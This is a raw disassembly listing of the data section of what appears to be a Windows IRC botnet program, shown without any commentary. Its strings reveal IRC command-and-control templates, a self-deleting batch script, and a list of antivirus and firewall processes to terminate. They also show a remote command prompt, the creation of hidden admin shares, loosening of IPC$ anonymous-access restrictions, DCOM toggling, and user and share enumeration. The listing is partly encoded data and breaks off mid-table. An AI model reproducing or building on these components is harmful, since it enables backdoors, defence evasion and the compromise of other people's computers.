dword_438730 dd 43h ; DATA XREF: ___:00437CA8o
dword_438734 dd 58h ; DATA XREF: ___:00437CA4o
; ___:00438038o
dword_438738 dd 5Ah ; DATA XREF: ___:00437CA0o
dword_43873C dd 4Ch ; DATA XREF: ___:00437C9Co
dword_438740 dd 4Bh ; DATA XREF: ___:00437C98o
dword_438744 dd 4Ah ; DATA XREF: ___:00437C94o
dword_438748 dd 48h ; DATA XREF: ___:00437C90o
dword_43874C dd 47h ; DATA XREF: ___:00437C8Co
dword_438750 dd 46h ; DATA XREF: ___:00437C88o
; ___:00438000o
dword_438754 dd 44h ; DATA XREF: ___:00437C84o
dword_438758 dd 53h ; DATA XREF: ___:00437C80o
dword_43875C dd 50h ; DATA XREF: ___:00437C78o
dword_438760 dd 4Fh ; DATA XREF: ___:00437C74o
dword_438764 dd 55h ; DATA XREF: ___:00437C6Co
word_438768 dw 59h ; DATA XREF: sub_41A19D+38r
; ___:00437C68o
align 4
dword_43876C dd 54h ; DATA XREF: ___:00437C64o
dword_438770 dd 52h ; DATA XREF: ___:00437C60o
dword_438774 dd 45h ; DATA XREF: ___:00437C5Co
dword_438778 dd 57h ; DATA XREF: ___:00437C58o
dword_43877C dd 51h ; DATA XREF: ___:00437C54o
dword_438780 dd 62h ; DATA XREF: ___:00437C48o
; ___:00437F3Co ...
dword_438784 dd 78h ; DATA XREF: ___:00437C3Co
dword_438788 dd 7Ah ; DATA XREF: ___:00437C38o
dword_43878C dd 6Ch ; DATA XREF: ___:00437C34o
dword_438790 dd 68h ; DATA XREF: ___:00437C28o
dword_438794 dd 67h ; DATA XREF: ___:00437C24o
dword_438798 dd 66h, 79h, 77h ; DATA XREF: ___:00437C20o
dword_4387A4 dd 4B43494Eh, 0A732520h, 0 ; DATA XREF: sub_4177CF+B1o
dword_4387B0 dd 323334h ; DATA XREF: sub_4177CF+79o
dword_4387B4 dd 474E4F50h, 0A732520h, 0 ; DATA XREF: sub_4177CF+61o
aNickSUserSHotm db 'NICK %s',0Ah ; DATA XREF: sub_4178BA+9Bo
db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
align 10h
a__0 db '-|`_\{[]}',0 ; DATA XREF: sub_417ADD+BCo
; sub_417ADD+175r ...
align 4
dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0
dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dd 3000005h, 10h, 18h, 1, 3 dup(0)
; ---------------------------------------------------------------------------
mov al, 1
push edx
xchg eax, edi
retf 0D059h
; ---------------------------------------------------------------------------
db 11h
dd 0A000D5A8h, 51800DC9h, 0
dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_41814C+72o
align 10h
aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_418293+1Co
align 10h
aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418337+2o
aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_418359+140o
align 4
a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_418359+85o
db ':repeat',0Dh,0Ah
db 'del "%%1"',0Dh,0Ah
db 'if exist "%%1" goto repeat',0Dh,0Ah
db 'del "%s"',0
aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_418359+48o
align 4
unk_43892C db 2Dh ; - ; DATA XREF: sub_4184E1+9Co
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aOperatingSyste db '- operating system is not supported',0
align 4
unk_43895C db 2Dh ; - ; DATA XREF: sub_4184E1+8Fo
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aFailedWithErro db '- failed with error code %d',0
align 4
dword_438984 dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
; DATA XREF: sub_4184E1+5Co
dd 65726165h, 64h
off_4389A0 dd offset aAdd ; DATA XREF: sub_4186C1+60r
; sub_418A98+51r ...
; "Add"
off_4389A4 dd offset aAdded ; DATA XREF: sub_4186C1+2Dr
; sub_418A98+83r ...
; "Added"
dword_4389A8 dd 0 ; DATA XREF: sub_4186C1+18r
dd offset aDelete_0 ; "Delete"
dd offset aDeleted ; "Deleted"
align 8
dd offset aList_1 ; "List"
dd offset aListed ; "Listed"
dd 0
dd offset aStart_0 ; "Start"
dd offset aStarted ; "Started"
align 10h
dd offset aStop_0 ; "Stop"
dd offset aStopped_0 ; "Stopped"
dd 1, 438A14h, 438A0Ch, 2, 438A00h, 4389F4h, 3, 746E6F43h
dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused db 'Paused',0
align 4
aPause_0 db 'Pause',0
align 4
aStopped_0 db 'Stopped',0 ; DATA XREF: ___:004389D4o
aStop_0 db 'Stop',0 ; DATA XREF: ___:004389D0o
align 4
aStarted db 'Started',0 ; DATA XREF: ___:004389C8o
aStart_0 db 'Start',0 ; DATA XREF: ___:004389C4o
align 4
aListed db 'Listed',0 ; DATA XREF: ___:004389BCo
align 4
aList_1 db 'List',0 ; DATA XREF: ___:004389B8o
align 4
aDeleted db 'Deleted',0 ; DATA XREF: ___:004389B0o
aDelete_0 db 'Delete',0 ; DATA XREF: ___:004389ACo
align 4
aAdded db 'Added',0 ; DATA XREF: ___:off_4389A4o
align 4
aAdd db 'Add',0 ; DATA XREF: ___:off_4389A0o
unk_438A68 db 2Dh ; - ; DATA XREF: sub_4186C1+67o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoServiceSpec db '- %s: no service specified',0
unk_438A8C db 2Dh ; - ; DATA XREF: sub_4186C1+51o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aErrorWithServi db '- error with service: ',27h,'%s',27h,' - %s',0
align 4
unk_438AB8 db 2Dh ; - ; DATA XREF: sub_4186C1+33o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSServiceS db '- %s service: ',27h,'%s',27h,0
aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_4187DD+12Co
align 4
aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_4187DD:loc_4188F5o
align 4
aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_4187DD:loc_4188EEo
align 4
aTheRequested_1 db 'The requested control code cannot be sent to the service because '
; DATA XREF: sub_4187DD:loc_4188E7o
db 'the state of the service.',0
align 4
aTheServiceHa_0 db 'The service has been marked for deletion.',0
; DATA XREF: sub_4187DD:loc_4188E0o
align 4
aTheServiceCoul db 'The service could not be logged on. The account does not have the'
; DATA XREF: sub_4187DD:loc_4188D9o
db ' correct access rights.',0
align 10h
aTheSpecified_0 db 'The specified service does not exist.',0
; DATA XREF: sub_4187DD:loc_4188D2o
align 4
aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_4187DD:loc_4188CBo
align 4
aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0
; DATA XREF: sub_4187DD:loc_4188C4o
align 4
aTheServiceDepe db 'The service depends on a service that does not exist or has been '
; DATA XREF: sub_4187DD:loc_4188BDo
db 'marked for deletion.',0
align 4
aTheSpecifiedDa db 'The specified database does not exist.',0
; DATA XREF: sub_4187DD:loc_4188B6o
align 4
aAnInstanceOfTh db 'An instance of the service is already running.',0
; DATA XREF: sub_4187DD:loc_41888Bo
align 4
aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to'
; DATA XREF: sub_4187DD:loc_418884o
db ' the service.',0
align 4
aTheProcessForT db 'The process for the service was started, but it did not call Star'
; DATA XREF: sub_4187DD:loc_41887Do
db 'tServiceCtrlDispatcher.',0
align 4
aAThreadCouldNo db 'A thread could not be created for the service.',0
; DATA XREF: sub_4187DD:loc_418876o
align 4
aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_4187DD+8Fo
aTheServiceCann db 'The service cannot be stopped because other running services are '
; DATA XREF: sub_4187DD:loc_41884Bo
db 'dependent on it.',0
align 4
aTheServiceBina db 'The service binary file could not be found.',0
; DATA XREF: sub_4187DD:loc_418841o
aTheHandleDoesN db 'The handle does not have the required access right.',0
; DATA XREF: sub_4187DD:loc_418837o
aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_4187DD:loc_41882Do
align 4
aTheRequestedCo db 'The requested control code is undefined.',0
; DATA XREF: sub_4187DD:loc_418823o
align 4
aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_4187DD+3Co
align 10h
aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_41895B+EBo
aStopped db ' Stopped',0 ; DATA XREF: sub_41895B:loc_418A27o
aStarting db ' Starting',0 ; DATA XREF: sub_41895B:loc_418A20o
aStoping db ' Stoping',0 ; DATA XREF: sub_41895B:loc_418A19o
aRunning db ' Running',0 ; DATA XREF: sub_41895B:loc_418A12o
aContinuing db ' Continuing',0 ; DATA XREF: sub_41895B:loc_418A0Bo
aPausing db ' Pausing',0 ; DATA XREF: sub_41895B:loc_418A04o
aPaused_0 db ' Paused',0 ; DATA XREF: sub_41895B:loc_4189FDo
aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_41895B+9Bo
aTheFollowingWi db 'The following Windows services are registered:',0
; DATA XREF: sub_41895B+25o
align 4
unk_43900C db 2Dh ; - ; DATA XREF: sub_418A98+ACo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoShareSpecif db '- %s: no share specified',0
align 10h
dword_439030 dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
; DATA XREF: sub_418A98+8Ao
dd 73252720h, 27h
unk_43904C db 2Dh ; - ; DATA XREF: sub_418A98+58o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSErrorWithShar db '- %s: error with share: ',27h,'%s',27h,' - %s',0
align 4
a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_418C8E+D0o
align 10h
aNo db 'No',0 ; DATA XREF: sub_418C8E+BCo
align 4
aYes db 'Yes',0 ; DATA XREF: sub_418C8E+B5o
unk_439098 db 2Dh ; - ; DATA XREF: sub_418C8E+76o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListError db '- share list error %s <%ld>',0
align 10h
aShareNameResou db 'Share name: Resource: Uses: Desc:',0
; DATA XREF: sub_418C8E+26o
align 4
unk_4390F8 db 2Dh ; - ; DATA XREF: sub_418DAF+B7o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoUsernameSpe db '- %s: no username specified',0
align 10h
unk_439120 db 2Dh ; - ; DATA XREF: sub_418DAF+95o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSErrorWithUser db '- %s: error with username: ',27h,'%s',27h,' - %s',0
align 10h
unk_439150 db 2Dh ; - ; DATA XREF: sub_418DAF+6Do
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSUsernameS db '- %s username: ',27h,'%s',27h,0
align 10h
unk_439170 db 2Dh ; - ; DATA XREF: sub_418EF6+3AFo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserInfoErrorL db '- user info error <%ld>',0
align 4
aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_418EF6+385o
align 4
aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_418EF6+35Ao
align 4
aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_418EF6+32Fo
aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_418EF6+304o
align 4
aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_418EF6+2D9o
align 4
aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_418EF6+2AEo
align 4
aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_418EF6+283o
aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_418EF6+258o
align 4
aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_418EF6+22Do
align 4
aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_418EF6+202o
align 4
aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_418EF6+1D7o
align 10h
aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_418EF6+1ACo
align 10h
aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_418EF6+181o
align 4
aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_418EF6+156o
align 4
aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_418EF6+12Bo
aGuest db 'Guest',0 ; DATA XREF: sub_418EF6:loc_419015o
align 10h
aUser_1 db 'User',0 ; DATA XREF: sub_418EF6:loc_41900Eo
align 4
aAdministrator db 'Administrator',0 ; DATA XREF: sub_418EF6:loc_419007o
align 4
aCommentS db 'Comment: %S',0 ; DATA XREF: sub_418EF6+DAo
aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_418EF6+AFo
align 4
aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_418EF6+84o
align 4
aAccountS db 'Account: %S',0 ; DATA XREF: sub_418EF6+50o
aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_4192DF+14Fo
align 4
unk_43932C db 2Dh ; - ; DATA XREF: sub_4192DF+F7o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aAnAccessViolat db '- an access violation has occured',0
align 4
aS_4 db ' %S',0 ; DATA XREF: sub_4192DF+BEo
align 10h
unk_439360 db 2Dh ; - ; DATA XREF: sub_4192DF+7Ao
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListErrorS db '- user list error %s <%ld>',0
aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_4192DF+29o
aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_41945F:loc_41957Co
align 4
aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_41945F:loc_419575o
align 4
aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_41945F:loc_41956Eo
align 10h
aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_41945F:loc_419567o
align 10h
aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_41945F:loc_419560o
align 4
aThePasswordIsS db 'The password is shorter than required (or does not meet the passw'
; DATA XREF: sub_41945F:loc_419543o
db 'ord policy requirement.)',0
align 4
aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_41945F:loc_41953Co
align 4
aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_41945F:loc_419535o
align 4
aTheOperationIs db 'The operation is allowed only on the primary domain controller of'
; DATA XREF: sub_41945F+CFo
db ' the domain.',0
align 4
aAGeneralFailur db 'A general failure occurred in the network hardware.',0
; DATA XREF: sub_41945F:loc_41950Ao
aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_41945F:loc_419503o
aDeviceOrDirect db 'Device or directory does not exist.',0
; DATA XREF: sub_41945F:loc_4194FCo
aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_41945F:loc_4194F2o
align 10h
aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_41945F+89o
align 4
aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_41945F:loc_4194CCo
align 10h
aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_41945F:loc_4194C2o
align 10h
aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_41945F:loc_4194B8o
align 4
aThisNetworkReq db 'This network request is not supported.',0
; DATA XREF: sub_41945F:loc_4194AEo
align 4
aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_41945F:loc_4194A4o
align 4
aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_41945F+3Bo
align 4
dword_439668 dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
; DATA XREF: sub_419593+ABo
dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
dd 5325h
unk_439694 db 2Dh ; - ; DATA XREF: sub_419593+81o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aMessageSentSuc db '- message sent successfully',0
align 4
dd 7530h
off_4396C0 dd offset aRegedit_exe ; DATA XREF: sub_4196BC+CBo
; "regedit.exe"
dd offset aMsconfig_exe ; "msconfig.exe"
dd offset aNetstat_exe ; "netstat.exe"
dd offset aMsblast_exe ; "msblast.exe"
dd offset aZapro_exe ; "zapro.exe"
dd offset aNavw32_exe ; "navw32.exe"
dd offset aNavapw32_exe ; "navapw32.exe"
dd offset aZonealarm_exe ; "zonealarm.exe"
dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
dd offset aPandaavengine_ ; "PandaAVEngine.exe"
dd offset dword_4397C8
dd offset dword_4397BC
dd offset dword_4397B0
dd offset dword_4397A4
dd offset dword_439798
dd offset dword_43978C
dd offset dword_43977C
dd offset dword_439770
dd offset dword_439764
dd offset dword_439758
dd offset dword_43974C
dd offset dword_43973C
dd offset dword_439730
dd offset dword_439720
dword_439720 dd 72313169h, 346E3435h, 6578652Eh, 0 ; DATA XREF: sub_4196BC+ECo
; ___:0043971Co
dword_439730 dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:00439718o
dword_43973C dd 75643364h, 74616470h, 78652E65h, 65h ; DATA XREF: ___:00439714o
dword_43974C dd 65746172h, 6578652Eh, 0 ; DATA XREF: ___:00439710o
dword_439758 dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:0043970Co
dword_439764 dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:00439708o
dword_439770 dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:00439704o
dword_43977C dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ; DATA XREF: ___:00439700o
dword_43978C dd 61656262h, 2E656C67h, 657865h ; DATA XREF: ___:004396FCo
dword_439798 dd 696E6550h, 2E323373h, 657865h ; DATA XREF: ___:004396F8o
dword_4397A4 dd 6B656574h, 2E736469h, 657865h ; DATA XREF: ___:004396F4o
dword_4397B0 dd 4C42534Dh, 2E545341h, 657865h ; DATA XREF: ___:004396F0o
dword_4397BC dd 7663736Dh, 2E323362h, 657865h ; DATA XREF: ___:004396ECo
dword_4397C8 dd 69737973h, 2E6F666Eh, 657865h ; DATA XREF: ___:004396E8o
aPandaavengine_ db 'PandaAVEngine.exe',0 ; DATA XREF: ___:004396E4o
align 4
aWincfg32_exeta db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:004396E0o
aZonealarm_exe db 'zonealarm.exe',0 ; DATA XREF: ___:004396DCo
align 10h
aNavapw32_exe db 'navapw32.exe',0 ; DATA XREF: ___:004396D8o
align 10h
aNavw32_exe db 'navw32.exe',0 ; DATA XREF: ___:004396D4o
align 4
aZapro_exe db 'zapro.exe',0 ; DATA XREF: ___:004396D0o
align 4
aMsblast_exe db 'msblast.exe',0 ; DATA XREF: ___:004396CCo
aNetstat_exe db 'netstat.exe',0 ; DATA XREF: ___:004396C8o
aMsconfig_exe db 'msconfig.exe',0 ; DATA XREF: ___:004396C4o
align 10h
aRegedit_exe db 'regedit.exe',0 ; DATA XREF: ___:off_4396C0o
aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_4196BC+191o
align 4
unk_439878 db 2Dh ; - ; DATA XREF: sub_4198EB:loc_419972o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessListFai db ' process list failed',0
align 4
unk_43989C db 2Dh ; - ; DATA XREF: sub_4198EB+80o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessListCom db ' process list complete',0
align 10h
unk_4398C0 db 2Dh ; - ; DATA XREF: sub_4198EB+19o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aListingProcess db ' listing processes:',0
aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419A88+33o
unk_4398F0 db 2Dh ; - ; DATA XREF: sub_419B0F:loc_419C41o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldNotReadDa db '- Could not read data from proccess.',0Dh,0Ah,0
unk_439920 db 2Dh ; - ; DATA XREF: sub_419B0F+10Fo
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aProccessHasTer db '- Proccess has terminated.',0Dh,0Ah,0
align 4
unk_439948 db 2Dh ; - ; DATA XREF: sub_419B0F:loc_419BF5o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldNotRead_0 db '- Could not read data from proccess',0Dh,0Ah,0
align 4
unk_439978 db 2Dh ; - ; DATA XREF: sub_419C64+194o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aFailedToStartI db '- Failed to start IO thread, error: <%d>.',0
align 4
unk_4399AC db 2Dh ; - ; DATA XREF: sub_419C64+14Co
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteCommandP db '- Remote Command Prompt',0
align 10h
off_4399D0 dd offset dword_439A08 ; DATA XREF: sub_419E79+1B3o
; sub_41A19D+17Ao
dd 0
dd offset dword_439A00
align 10h
off_4399E0 dd offset dword_4399FC ; DATA XREF: sub_41A19D+1E3o
dd offset dword_4399F8
dd offset dword_4399F4
dd offset dword_4399F0
dword_4399F0 dd 5C3A44h ; DATA XREF: sub_419E79+217o
; ___:004399ECo
dword_4399F4 dd 2444h ; DATA XREF: ___:004399E8o
dword_4399F8 dd 5C3A43h ; DATA XREF: ___:004399E4o
dword_4399FC dd 2443h ; DATA XREF: ___:off_4399E0o
dword_439A00 dd 494D4441h, 244Eh ; DATA XREF: ___:004399D8o
dword_439A08 dd 24435049h, 0 ; DATA XREF: ___:off_4399D0o
dword_439A10 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+2E5o
; sub_41A19D+2DBo
aNetapi32_dllCo db '- Netapi32.dll couldn',27h,'t be loaded.',0
align 10h
dword_439A40 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+2CFo
aNetworkSharesD db '- Network shares deleted.',0
align 4
dword_439A68 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_41A0DBo
aFailedToDelete db '- Failed to delete ',27h,'%S',27h,' share.',0
align 4
dword_439A94 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+25Bo
aShareSDeleted_ db '- Share ',27h,'%S',27h,' deleted.',0
align 4
dword_439AB8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_41A048o
aFailedToDele_0 db '- Failed to delete ',27h,'%s',27h,' share.',0
align 4
dword_439AE4 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+1C8o
aShareSDelete_0 db '- Share ',27h,'%s',27h,' deleted.',0
align 4
dword_439B08 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_419FABo
; sub_41A19D:loc_41A2CBo
aAdvapi32_dllCo db '- Advapi32.dll couldn',27h,'t be loaded.',0
align 4
dword_439B38 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_419FA4o
aFailedToOpenIp db '- Failed to open IPC$ Restriction registry key.',0
dword_439B74 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_419F86o
aRestrictedAcce db '- Restricted access to the IPC$ Share.',0
align 4
dword_439BA8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+106o
aFailedToRestri db '- Failed to restrict access to the IPC$ Share.',0
align 4
aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_419E79+EDo
; sub_41A19D+EDo
align 4
dword_439BF8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+91o
; sub_41A19D+91o
aFailedToOpenDc db '- Failed to open DCOM registry key.',0
dword_439C28 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 64204D4Fh
; DATA XREF: sub_419E79:loc_419EE6o
dd 62617369h, 2E64656Ch, 0
dword_439C48 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+66o
aDisableDcomFai db '- Disable DCOM failed.',0
align 4
aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_419E79+54o
; sub_41A19D+54o
align 4
dword_439C78 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+2C3o
aNetworkSharesA db '- Network shares added.',0
aC_0 db '%c:\',0 ; DATA XREF: sub_41A19D+230o
align 4
aC_1 db '%c$',0 ; DATA XREF: sub_41A19D+219o
dword_439CA8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D:loc_41A33Co
; sub_41A19D:loc_41A40Do
aFailedToAddSSh db '- Failed to add ',27h,'%s',27h,' share.',0
dword_439CD0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+198o
; sub_41A19D+269o
aShareSAdded_ db '- Share ',27h,'%s',27h,' added.',0
dword_439CF0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D:loc_41A2C4o
aFailedToOpen_0 db '- Failed to open IPC$ restriction registry key.',0
dword_439D2C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D:loc_41A2A6o
aUnrestrictedAc db '- Unrestricted access to the IPC$ Share.',0
align 4
dword_439D64 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+102o
aFailedToUnrest db '- Failed to unrestrict access to the IPC$ Share.',0
align 4
dword_439DA4 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 65204D4Fh
; DATA XREF: sub_41A19D:loc_41A20Ao
dd 6C62616Eh, 2E6465h
dword_439DC0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+66o
aEnableDcomFail db '- Enable DCOM failed.',0
align 4
aPostHttp1_0Hos db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41A4D1+E1o
db 'Host: %s',0Dh,0Ah
db 'Content-Length: %d',0Dh,0Ah
db 0Dh,0Ah,0
align 4
dword_439E18 dd 234032Dh, 65657073h, 73657464h, 2D030274h, 75450220h
; DATA XREF: sub_41A6AE+1A7o
dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
dd 25203A02h, 626B2064h, 732F7469h, 0
aWww_google_co_ db 'www.google.co.jp',0 ; DATA XREF: sub_41A6AE+C4o
align 4
aYahoo_co_jp db 'yahoo.co.jp',0 ; DATA XREF: sub_41A6AE+BDo
aWww_nifty_com db 'www.nifty.com',0 ; DATA XREF: sub_41A6AE+B6o
align 4
aWww_d1asia_com db 'www.d1asia.com',0 ; DATA XREF: sub_41A6AE+AFo
align 4
aWww_st_lib_kei db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41A6AE+A8o
align 10h
aWww_lib_nthu_e db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41A6AE+A1o
aWww_google_com db 'www.google.com',0 ; DATA XREF: sub_41A6AE+9Ao
align 4
aWww_easynews_c db 'www.easynews.com',0 ; DATA XREF: sub_41A6AE+93o
align 4
aWww_above_net db 'www.above.net',0 ; DATA XREF: sub_41A6AE+8Co
align 4
aWww_level3_com db 'www.level3.com',0 ; DATA XREF: sub_41A6AE+85o
align 4
aNitro_ucsc_edu db 'nitro.ucsc.edu',0 ; DATA XREF: sub_41A6AE+7Eo
align 4
aWww_burst_net db 'www.burst.net',0 ; DATA XREF: sub_41A6AE+77o
align 4
aWww_cogentco_c db 'www.cogentco.com',0 ; DATA XREF: sub_41A6AE+70o
align 4
aWww_rit_edu db 'www.rit.edu',0 ; DATA XREF: sub_41A6AE+69o
aWww_nocster_co db 'www.nocster.com',0 ; DATA XREF: sub_41A6AE+62o
aWww_verio_com db 'www.verio.com',0 ; DATA XREF: sub_41A6AE+5Bo
align 4
aWww_stanford_e db 'www.stanford.edu',0 ; DATA XREF: sub_41A6AE+54o
align 4
aWww_xo_net db 'www.xo.net',0 ; DATA XREF: sub_41A6AE+4Do
align 4
aWww_google_it db 'www.google.it',0 ; DATA XREF: sub_41A6AE+46o
align 4
aDe_yahoo_com db 'de.yahoo.com',0 ; DATA XREF: sub_41A6AE+3Fo
align 4
aWww_belwue_de db 'www.belwue.de',0 ; DATA XREF: sub_41A6AE+38o
align 4
aWww_switch_ch db 'www.switch.ch',0 ; DATA XREF: sub_41A6AE+31o
align 4
aWww_1und1_de db 'www.1und1.de',0 ; DATA XREF: sub_41A6AE+2Ao
align 4
aVerio_fr db 'verio.fr',0 ; DATA XREF: sub_41A6AE+23o
align 4
aWww_utwente_nl db 'www.utwente.nl',0 ; DATA XREF: sub_41A6AE+1Co
align 4
aWww_schlund_ne db 'www.schlund.net',0 ; DATA XREF: sub_41A6AE+15o
aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_41A88B+52o
dword_43A030 dd 234032Dh, 69737973h, 26F666Eh, 2202D03h, 2555043h, 4925203Ah
; DATA XREF: sub_41AA42+297o
dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
